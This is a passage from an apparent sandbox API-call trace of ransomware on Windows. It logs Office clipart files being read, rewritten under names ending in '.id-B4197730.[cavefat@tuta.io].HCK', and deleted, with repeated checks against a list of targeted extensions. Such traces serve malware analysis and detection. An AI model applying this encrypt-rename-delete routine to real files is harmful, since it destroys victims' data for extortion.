lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0228.244] GetLastError () returned 0x0 [0228.244] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x4ae, lpOverlapped=0x0) returned 1 [0228.245] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4b0, lpOverlapped=0x0) returned 1 [0228.246] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.246] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.246] SetEndOfFile (hFile=0x448) returned 1 [0228.246] CloseHandle (hObject=0x448) returned 1 [0228.247] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.247] SetEndOfFile (hFile=0x4ac) returned 1 [0228.250] CloseHandle (hObject=0x4ac) returned 1 [0228.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0228.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.251] lstrlenW (lpString=".doc") returned 4 [0228.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.251] lstrlenW (lpString=".docx") returned 5 [0228.251] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0228.251] lstrlenW (lpString=".pdf") returned 4 [0228.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.251] lstrlenW (lpString=".xls") returned 4 [0228.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.251] lstrlenW (lpString=".xlsx") returned 5 [0228.251] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0228.251] lstrlenW (lpString=".ppt") returned 4 [0228.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.251] lstrlenW (lpString=".zip") returned 4 [0228.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.251] lstrlenW (lpString=".rar") returned 4 [0228.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.251] lstrlenW (lpString=".bz2") returned 4 [0228.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString=".7z") returned 3 [0228.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.252] lstrlenW (lpString=".dbf") returned 4 [0228.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.252] lstrlenW (lpString=".1cd") returned 4 [0228.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.252] lstrlenW (lpString=".jpg") returned 4 [0228.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.252] lstrlenW (lpString=".doc") returned 4 [0228.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString=".docx") returned 5 [0228.252] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0228.252] lstrlenW (lpString=".pdf") returned 4 [0228.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString=".xls") returned 4 [0228.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.252] lstrlenW (lpString=".xlsx") returned 5 [0228.252] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0228.252] lstrlenW (lpString=".ppt") returned 4 [0228.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.252] lstrlenW (lpString=".zip") returned 4 [0228.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.252] lstrlenW (lpString=".rar") returned 4 [0228.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString=".bz2") returned 4 [0228.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.252] lstrlenW (lpString=".7z") returned 3 [0228.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.252] lstrlenW (lpString=".dbf") returned 4 [0228.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.253] lstrlenW (lpString=".1cd") returned 4 [0228.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0228.253] lstrlenW (lpString=".jpg") returned 4 [0228.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.253] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0228.253] lstrlenW (lpString="J0099182.WMF") returned 12 [0228.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0228.254] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3840) returned 1 [0228.254] CloseHandle (hObject=0x4ac) returned 1 [0228.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0228.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0228.254] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.254] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0228.255] GetLastError () returned 0x0 [0228.255] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xf00, lpOverlapped=0x0) returned 1 [0228.257] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xf10, lpOverlapped=0x0) returned 1 [0228.258] ReadFile (in: hFile=0x4ac, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.258] WriteFile (in: hFile=0x448, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.258] SetEndOfFile (hFile=0x448) returned 1 [0228.716] CloseHandle (hObject=0x448) returned 1 [0228.716] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.716] SetEndOfFile (hFile=0x4ac) returned 1 [0228.745] CloseHandle (hObject=0x4ac) returned 1 [0228.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.746] lstrlenW (lpString=".doc") returned 4 [0228.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.746] lstrlenW (lpString=".docx") returned 5 [0228.746] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0228.746] lstrlenW (lpString=".pdf") returned 4 [0228.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.746] lstrlenW (lpString=".xls") returned 4 [0228.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.746] lstrlenW (lpString=".xlsx") returned 5 [0228.746] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0228.746] lstrlenW (lpString=".ppt") returned 4 [0228.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.746] lstrlenW (lpString=".zip") returned 4 [0228.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.746] lstrlenW (lpString=".rar") returned 4 [0228.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.746] lstrlenW (lpString=".bz2") returned 4 [0228.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.746] lstrlenW (lpString=".7z") returned 3 [0228.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.746] lstrlenW (lpString=".dbf") returned 4 [0228.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.746] lstrlenW (lpString=".1cd") returned 4 [0228.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.747] lstrlenW (lpString=".jpg") returned 4 [0228.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.747] lstrlenW (lpString=".doc") returned 4 [0228.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString=".docx") returned 5 [0228.747] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0228.747] lstrlenW (lpString=".pdf") returned 4 [0228.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString=".xls") returned 4 [0228.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.747] lstrlenW (lpString=".xlsx") returned 5 [0228.747] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0228.747] lstrlenW (lpString=".ppt") returned 4 [0228.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.747] lstrlenW (lpString=".zip") returned 4 [0228.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.747] lstrlenW (lpString=".rar") returned 4 [0228.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString=".bz2") returned 4 [0228.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString=".7z") returned 3 [0228.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.747] lstrlenW (lpString=".dbf") returned 4 [0228.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.747] lstrlenW (lpString=".1cd") returned 4 [0228.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0228.747] lstrlenW (lpString=".jpg") returned 4 [0228.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.747] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0228.747] lstrlenW (lpString="J0099191.JPG") returned 12 [0228.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.807] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=62367) returned 1 [0228.808] CloseHandle (hObject=0x454) returned 1 [0228.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0228.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.811] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.811] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.812] GetLastError () returned 0x0 [0228.812] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0228.832] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0228.833] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.833] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.834] SetEndOfFile (hFile=0x4cc) returned 1 [0228.834] CloseHandle (hObject=0x4cc) returned 1 [0228.834] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.834] SetEndOfFile (hFile=0x454) returned 1 [0228.836] CloseHandle (hObject=0x454) returned 1 [0228.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString=".doc") returned 4 [0228.838] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.838] lstrlenW (lpString=".docx") returned 5 [0228.838] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0228.838] lstrlenW (lpString=".pdf") returned 4 [0228.838] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".xls") returned 4 [0228.838] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".xlsx") returned 5 [0228.838] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0228.838] lstrlenW (lpString=".ppt") returned 4 [0228.838] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString=".zip") returned 4 [0228.838] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".rar") returned 4 [0228.838] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".bz2") returned 4 [0228.838] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.838] lstrlenW (lpString=".7z") returned 3 [0228.838] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString=".dbf") returned 4 [0228.838] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString=".1cd") returned 4 [0228.838] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString=".jpg") returned 4 [0228.838] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString=".doc") returned 4 [0228.838] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.838] lstrlenW (lpString=".docx") returned 5 [0228.838] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0228.838] lstrlenW (lpString=".pdf") returned 4 [0228.838] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".xls") returned 4 [0228.838] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".xlsx") returned 5 [0228.838] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0228.838] lstrlenW (lpString=".ppt") returned 4 [0228.838] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.838] lstrlenW (lpString=".zip") returned 4 [0228.838] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".rar") returned 4 [0228.838] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.838] lstrlenW (lpString=".bz2") returned 4 [0228.838] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.839] lstrlenW (lpString=".7z") returned 3 [0228.839] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.839] lstrlenW (lpString=".dbf") returned 4 [0228.839] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.839] lstrlenW (lpString=".1cd") returned 4 [0228.839] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0228.839] lstrlenW (lpString=".jpg") returned 4 [0228.839] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.839] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0228.839] lstrlenW (lpString="J0099192.GIF") returned 12 [0228.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.839] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=17964) returned 1 [0228.839] CloseHandle (hObject=0x454) returned 1 [0228.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0228.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0228.842] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.842] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.844] GetLastError () returned 0x0 [0228.844] ReadFile (in: hFile=0x454, 